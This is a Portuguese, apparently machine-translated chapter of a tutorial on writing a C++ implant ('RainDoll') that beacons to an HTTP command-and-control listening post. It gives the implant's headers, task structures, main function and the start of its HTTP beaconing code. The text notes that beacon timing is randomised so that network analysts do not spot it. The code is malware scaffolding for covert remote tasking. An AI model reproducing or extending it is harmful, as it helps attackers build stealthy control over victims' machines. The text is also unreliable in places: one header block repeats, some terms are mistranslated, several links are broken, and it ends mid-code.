Este implante irá se comunicar com o post listener HTTP ( Skytree ) que criamos no capítulo anterior. O código-fonte do implante é amplamente baseado no projeto https://twitter.com/jalospinoso, e apenas pequenas alterações foram feitas no código. Foi lançado como parte de sua palestra sobre Implantando com C++ Moderno chamada "C++ para Hackers" (
). Eu recomendo verificar o github dele e conferir https://github.com/JLospinoso/cpp-implant . A palestra é muito fácil para um iniciante entender e, ao longo do caminho, você aprenderá alguns truques interessantes da linguagem C++ moderna. Se você estiver interessado em C++, considere verificar seu livro sobre o assunto chamado C++ Crash Course ( https://nostarch.com/cppcrashcourse ).
Pré-requisitos e arquivos de origem
Para o desenvolvimento, trabalharemos em um sistema Windows 10 de 64 bits. Este projeto usará várias bibliotecas diferentes, incluindo o Boost. Se você nunca ouviu falar do Boost, é um ótimo recurso para acelerar o desenvolvimento com uma ampla gama de soluções prontas para tarefas comuns de programação. Por que você deve usar as bibliotecas do Boost? De acordo com o site Boost:
Em uma palavra - Desempenho. O uso de bibliotecas de alta qualidade como o Boost acelera o desenvolvimento inicial, resulta em menos bugs, reduz a necessidade de reinventar a roda e reduz os custos de manutenção de longo prazo. E como as bibliotecas Boost tendem a se tornar padrões de fato ou de jure, muitos programadores já estão familiarizados com elas.
Também usaremos consultas C++ (https://github.com/whoshuu/cpr ) e JSON para C++ moderno ( https://github.com/nlohmann/json ). Isso nos ajudará a enviar facilmente solicitações HTTP com C++ e processar JSON sem muitos problemas. Por fim, usaremos muito https://visualstudio.microsoft.com/downloads/ e você precisa ter certeza de que está instalado/configurado para usar a carga de trabalho C++ Desktop Development (para obter ajuda na configuração de toda essa configuração, consulte o link aqui - https://devblogs.microsoft.com/cppblog/ … velopment/
Então, sem mais delongas, vamos começar! gerenciador de pacotes https:// docs.microsoft.com/en-us/cpp/build/vcpkg?view=msvc-160(Para obter instruções de início rápido no Windows, consulte o link aqui https://github.com/Microsoft/vcpkg#quick-start-windows ). Certifique-se de que está carregado/baixado em algum lugar como C:\dev\vcpkg e, em seguida, execute os seguintes comandos em um prompt de comando elevado do PowerShell:
Integrar vcpkg com o Visual Studio 2019
Em particular, a instalação das bibliotecas Boost provavelmente levará algum tempo, então pegue uma xícara de chá ou café enquanto espera. Depois que os pré-requisitos estiverem instalados, podemos usá-los com sucesso em nosso projeto do Visual Studio. Como alternativa, o Boost pode ser instalado manualmente usando o guia de introdução https://www.boost.org/doc/libs/1_74_0/m … ndows.html ,
e o JSON for Modern C++ pode ser baixado como um cabeçalho aqui https: //github.com/nlohmann/json/releases/download/v3.9.1/json.hpp . Atualmente, as consultas C++ podem ser criadas usando vcpkg ou Conan conforme descrito aqui https://github.com/whoshuu/cpr#building … sing-vcpkg .
Vamos começar a construir nosso implante abrindo o Visual Studio 2019 e criando um projeto vazio chamado "RainDoll", verifique se a linguagem usada é C++ 17. Você pode verificar isso olhando a seguinte opção: RainDoll Property Pages Window > General > C++ Padrão de linguagem > Padrão ISO C++17.
Crie um arquivo e chame-o de main.cpp na pasta de arquivos de origem. Começaremos especificando os detalhes do posto de escuta que construímos no capítulo anterior:
#ifdef _WIN32
#define WIN32_LEAN_AND_MEAN
#endif
#include <stdio.h>
int main()
{
// Specify address, port and URI of listening post endpoint
const auto host = "localhost";
const auto port = "5000";
const auto uri = "/results";
}
Títulos do Projeto de Implante
Vamos agora começar a definir os detalhes do nosso objeto de Implante, começando pelos títulos. Crie um novo arquivo chamado implant.h na pasta Headers Files no Solution Explorer e adicione o seguinte código:
#pragma once
#define _SILENCE_CXX17_C_HEADER_DEPRECATION_WARNING
#include "tasks.h"
#include <string>
#include <string_view>
#include <mutex>
#include <future>
#include <atomic>
#include <vector>
#include <random>
#include <boost/property_tree/ptree.hpp>
struct Implant {
// Our implant constructor
Implant(std::string host, std::string port, std::string uri);
// The thread for servicing tasks
std::future<void> taskThread;
// Our public functions that the implant exposes
void beacon();
void setMeanDwell(double meanDwell);
void setRunning(bool isRunning);
void serviceTasks();
private:
// Listening post endpoint args
const std::string host, port, uri;
// Variables for implant config, dwell time and running status
std::exponential_distribution<double> dwellDistributionSeconds;
std::atomic_bool isRunning;
// Define our mutexes since we're doing async I/O stuff
std::mutex taskMutex, resultsMutex;
// Where we store our results
boost::property_tree::ptree results;
// Where we store our tasks
std::vector<Task> tasks;
// Generate random device
std::random_device device;
void parseTasks(const std::string& response);
[[nodiscard]] std::string sendResults();
};
[[nodiscard]] std::string sendHttpRequest(std::string_view host,
std::string_view port,
std::string_view uri,
std::string_view payload);
Passaremos por um bloco de código por vez e explicarei o propósito de cada seção.
// Our implant constructor
Implant(std::string host, std::string port, std::string uri);
// The thread for servicing tasks
std::future<void> taskThread;
// Our public functions that the implant exposes
void beacon();
void setMeanDwell(double meanDwell);
void setRunning(bool isRunning);
void serviceTasks();
Primeiro, definimos o construtor Implant. Em seguida, declaramos um thread que atenderá nossas tarefas para que possamos fazer o trabalho de forma assíncrona. Em seguida, definimos quatro funções públicas. Precisamos de uma função que faça o loop do beacon e se comunique constantemente com nosso posto de escuta. Também queremos ter recursos relacionados à configuração do implante, como definir o tempo de espera entre os beacons (tempo de espera) e o estado operacional (ligado/desligado). Por fim, queremos ter uma função que fará um loop por todas as tarefas recebidas do posto de escuta e as executará no destino:
Depois de escrever o código acima, começaremos a definir variáveis privadas e funções para o objeto Implant:
private:
// Listening post endpoint args
const std::string host, port, uri;
// Variables for implant config, dwell time and running status
std::exponential_distribution<double> dwellDistributionSeconds;
std::atomic_bool isRunning;
// Define our mutexes since we're doing async I/O stuff
std::mutex taskMutex, resultsMutex;
// Where we store our results
boost::property_tree::ptree results;
// Where we store our tasks
std::vector<Task> tasks;
// Generate random device
std::random_device device;
void parseTasks(const std::string& response);
[[nodiscard]] std::string sendResults();
Definimos variáveis para armazenar informações sobre nosso posto de escuta. Em seguida, declaramos uma variável para o tempo de atraso e um booleano simples para o estado de execução. A variável habitatDistributionSeconds usa uma distribuição exponencial para obter um número variável de segundos para atraso, garantindo que o padrão do link não apareça como uma taxa constante. Não queremos que o tempo entre nossas solicitações de beacon seja constante porque isso parece muito suspeito para um analista que pode visualizar as comunicações de rede. Em seguida, declaramos algumas variáveis mutex que usaremos para garantir que nossa E/S assíncrona para tarefas e resultados não interaja com coisas quando não deveria. Usaremos a árvore de propriedades da biblioteca Boost para armazenar nossos resultados e passar o tipo de tarefa para o modelo de vetor. Ainda não definimos o tipo de problema, então haverá um rabisco vermelho embaixo dele, mas adicionaremos isso mais tarde. A última variável privada é para gerar um número pseudo-aleatório.
Quanto às nossas funções privadas, declararemos uma função para analisar as tarefas da resposta da postagem do ouvinte e uma função para enviar os resultados da tarefa para a postagem do ouvinte. Você notará que temos um atributo "[[nodiscard]]" anexado à função "sendResults()". Esse atributo significa que, se o valor de retorno da função não for usado, o compilador deverá emitir um aviso porque algo está errado. Nunca esperamos estar em uma situação em que fazemos uma chamada para enviar resultados e descartamos o valor de retorno. Para saber mais sobre o atributo "[[nodiscard]]", consulte os recursos aqui https://en.cppreference.com/w/cpp/langu … s/nodicard e aqui https://www.bfilipek.com/2017/ 11/nodicard.html .
Além do objeto Implant, também declararemos uma função para fazer requisições HTTP ao posto de escuta. Ele receberá o host, a porta e o URI como argumentos, junto com a carga útil que queremos enviar:
[[nodiscard]] std::string sendHttpRequest(std::string_view host,
std::string_view port,
std::string_view uri,
std::string_view payload);
Feito o cabeçalho do implante, agora vamos para a definição de nossas tarefas. Crie um novo arquivo em Arquivos de cabeçalho no Solution Explorer e nomeie-o como tasks.h. Quando terminarmos, ele deve conter o seguinte código:
#pragma once
#define _SILENCE_CXX17_C_HEADER_DEPRECATION_WARNING
#include "results.h"
#include <variant>
#include <string>
#include <string_view>
#include <boost/uuid/uuid.hpp>
#include <boost/property_tree/ptree.hpp>
// Define implant configuration
struct Configuration {
Configuration(double meanDwell, bool isRunning);
const double meanDwell;
const bool isRunning;
};
// Tasks
// ===========================================================================================
// PingTask
// -------------------------------------------------------------------------------------------
struct PingTask {
PingTask(const boost::uuids::uuid& id);
constexpr static std::string_view key{ "ping" };
[[nodiscard]] Result run() const;
const boost::uuids::uuid id;
};
// ConfigureTask
// -------------------------------------------------------------------------------------------
struct ConfigureTask {
ConfigureTask(const boost::uuids::uuid& id,
double meanDwell,
bool isRunning,
std::function<void(const Configuration&)> setter);
constexpr static std::string_view key{ "configure" };
[[nodiscard]] Result run() const;
const boost::uuids::uuid id;
private:
std::function<void(const Configuration&)> setter;
const double meanDwell;
const bool isRunning;
};
// ===========================================================================================
// REMEMBER: Any new tasks must be added here too!
using Task = std::variant<PingTask, ConfigureTask>;
[[nodiscard]] Task parseTaskFrom(const boost::property_tree::ptree& taskTree,
std::function<void(const Configuration&)> setter);
#pragma once
#define _SILENCE_CXX17_C_HEADER_DEPRECATION_WARNING
#include "results.h"
#include <variant>
#include <string>
#include <string_view>
#include <boost/uuid/uuid.hpp>
#include <boost/property_tree/ptree.hpp>
// Define implant configuration
struct Configuration {
Configuration(double meanDwell, bool isRunning);
const double meanDwell;
const bool isRunning;
};
// Tasks
// ===========================================================================================
// PingTask
// -------------------------------------------------------------------------------------------
struct PingTask {
PingTask(const boost::uuids::uuid& id);
constexpr static std::string_view key{ "ping" };
[[nodiscard]] Result run() const;
const boost::uuids::uuid id;
};
// ConfigureTask
// -------------------------------------------------------------------------------------------
struct ConfigureTask {
ConfigureTask(const boost::uuids::uuid& id,
double meanDwell,
bool isRunning,
std::function<void(const Configuration&)> setter);
constexpr static std::string_view key{ "configure" };
[[nodiscard]] Result run() const;
const boost::uuids::uuid id;
private:
std::function<void(const Configuration&)> setter;
const double meanDwell;
const bool isRunning;
};
// ===========================================================================================
// REMEMBER: Any new tasks must be added here too!
using Task = std::variant<PingTask, ConfigureTask>;
[[nodiscard]] Task parseTaskFrom(const boost::property_tree::ptree& taskTree,
std::function<void(const Configuration&)> setter);
A primeira coisa que fazemos é definir nosso objeto de configuração, que conterá as configurações do tempo de residência do implante e do estado operacional:
// Define implant configuration
struct Configuration {
Configuration(double meanDwell, bool isRunning);
const double meanDwell;
const bool isRunning;
};
Em seguida, vamos definir uma tarefa de ping simples:
// PingTask
// -------------------------------------------------------------------------------------------
struct PingTask {
PingTask(const boost::uuids::uuid& id);
constexpr static std::string_view key{ "ping" };
[[nodiscard]] Result run() const;
const boost::uuids::uuid id;
};
Após o construtor, fornecemos uma chave para identificar a tarefa e a chamamos de "ping". Em seguida, declaramos uma função "run()" que retornará um objeto Result e o marcaremos como "nodiscard". Ainda não definimos o objeto Result, então ele será renderizado com um rabisco vermelho na parte inferior. No entanto, adicionaremos isso mais tarde, então não se preocupe com isso por enquanto. Por fim, especificamos um UUID para ajudar a acompanhar as tarefas individuais que estão sendo executadas.
Em seguida, trabalharemos em uma tarefa de configuração que definirá o tempo limite e o status do trabalho:
// ConfigureTask
// -------------------------------------------------------------------------------------------
struct ConfigureTask {
ConfigureTask(const boost::uuids::uuid& id,
double meanDwell,
bool isRunning,
std::function<void(const Configuration&)> setter);
constexpr static std::string_view key{ "configure" };
[[nodiscard]] Result run() const;
const boost::uuids::uuid id;
private:
std::function<void(const Configuration&)> setter;
const double meanDwell;
const bool isRunning;
};
Após o construtor, definimos uma chave para identificar a tarefa e a chamamos de "configurar". O restante do código é o mesmo da tarefa ping, exceto que temos algumas variáveis privadas para manter o valor médio do atraso e o estado atual.
Por fim, declaramos uma função que será responsável por analisar as tarefas que recebemos do posto de escuta:
// REMEMBER: Any new tasks must be added here too!
using Task = std::variant<PingTask, ConfigureTask>;
[[nodiscard]] Task parseTaskFrom(const boost::property_tree::ptree& taskTree,
std::function<void(const Configuration&)> setter);
É hora de preencher o conteúdo do nosso último arquivo de cabeçalho, criar um arquivo chamado results.h e verificar se ele foi criado na seção "Headers". Escreveremos o seguinte código:
#pragma once
#define _SILENCE_CXX17_C_HEADER_DEPRECATION_WARNING
#include <string>
#include <boost/uuid/uuid.hpp>
// Define our Result object
struct Result {
Result(const boost::uuids::uuid& id,
std::string contents,
bool success);
const boost::uuids::uuid id;
const std::string contents;
const bool success;
};
O objeto de resultados conterá um UUID para acompanhar cada resultado que retornamos, uma variável de string para armazenar o conteúdo do resultado e um valor booleano para sinalizar a conclusão bem-sucedida da tarefa. Finalmente estamos prontos para abrir o main.cpp novamente e adicionar o restante do nosso código principal abaixo das variáveis do ponto de extremidade da postagem do ouvinte:
// Instantiate our implant object
Implant implant{ host, port, uri };
// Call the beacon method to start beaconing loop
try {
implant.beacon();
}
catch (const boost::system::system_error& se) {
printf("\nSystem error: %s\n", se.what());
}
Como você pode ver no código acima, instanciamos um objeto Implant com os detalhes do post do ouvinte e então chamamos a função "beacon()" para iniciar o loop do beacon. O conteúdo completo do arquivo main.cpp deve ficar assim:
#ifdef _WIN32
#define WIN32_LEAN_AND_MEAN
#endif
#include "implant.h"
#include <stdio.h>
#include <boost/system/system_error.hpp>
int main()
{
// Specify address, port and URI of listening post endpoint
const auto host = "localhost";
const auto port = "5000";
const auto uri = "/results";
// Instantiate our implant object
Implant implant{ host, port, uri };
// Call the beacon method to start beaconing loop
try {
implant.beacon();
}
catch (const boost::system::system_error& se) {
printf("\nSystem error: %s\n", se.what());
}
}
Uau, quanto trabalho foi necessário para criar o modelo para o nosso implante! Mas agora estamos prontos para mergulhar nos mínimos detalhes da lógica do nosso implante.
Código do Implante
O código que você deve ter agora pode ser encontrado em uma pasta chamada "chapter_3-1". Agora crie um novo arquivo e nomeie-o como implant.cpp, certifique-se de que ele foi criado em Source Files. Nesta parte do capítulo, escreveremos o seguinte código, não se preocupe se você não entender tudo. Vou cobrir cada seção principal em breve:
#ifdef _WIN32
#define WIN32_LEAN_AND_MEAN
#endif
#include "implant.h"
#include "tasks.h"
#include <string>
#include <string_view>
#include <iostream>
#include <chrono>
#include <algorithm>
#include <boost/uuid/uuid_io.hpp>
#include <boost/property_tree/json_parser.hpp>
#include <boost/property_tree/ptree.hpp>
#include <cpr/cpr.h>
#include <nlohmann/json.hpp>
using json = nlohmann::json;
// Function to send an asynchronous HTTP POST request with a payload to the listening post
[[nodiscard]] std::string sendHttpRequest(std::string_view host,
std::string_view port,
std::string_view uri,
std::string_view payload) {
// Set all our request constants
auto const serverAddress = host;
auto const serverPort = port;
auto const serverUri = uri;
auto const httpVersion = 11;
auto const requestBody = json::parse(payload);
// Construct our listening post endpoint URL from user args, only HTTP to start
std::stringstream ss;
ss << "http://" << serverAddress << ":" << serverPort << serverUri;
std::string fullServerUrl = ss.str();
// Make an asynchronous HTTP POST request to the listening post
cpr::AsyncResponse asyncRequest = cpr::PostAsync(cpr::Url{ fullServerUrl },
cpr::Body{ requestBody.dump() },
cpr::Header{ {"Content-Type", "application/json"} }
);
// Retrieve the response when it's ready
cpr::Response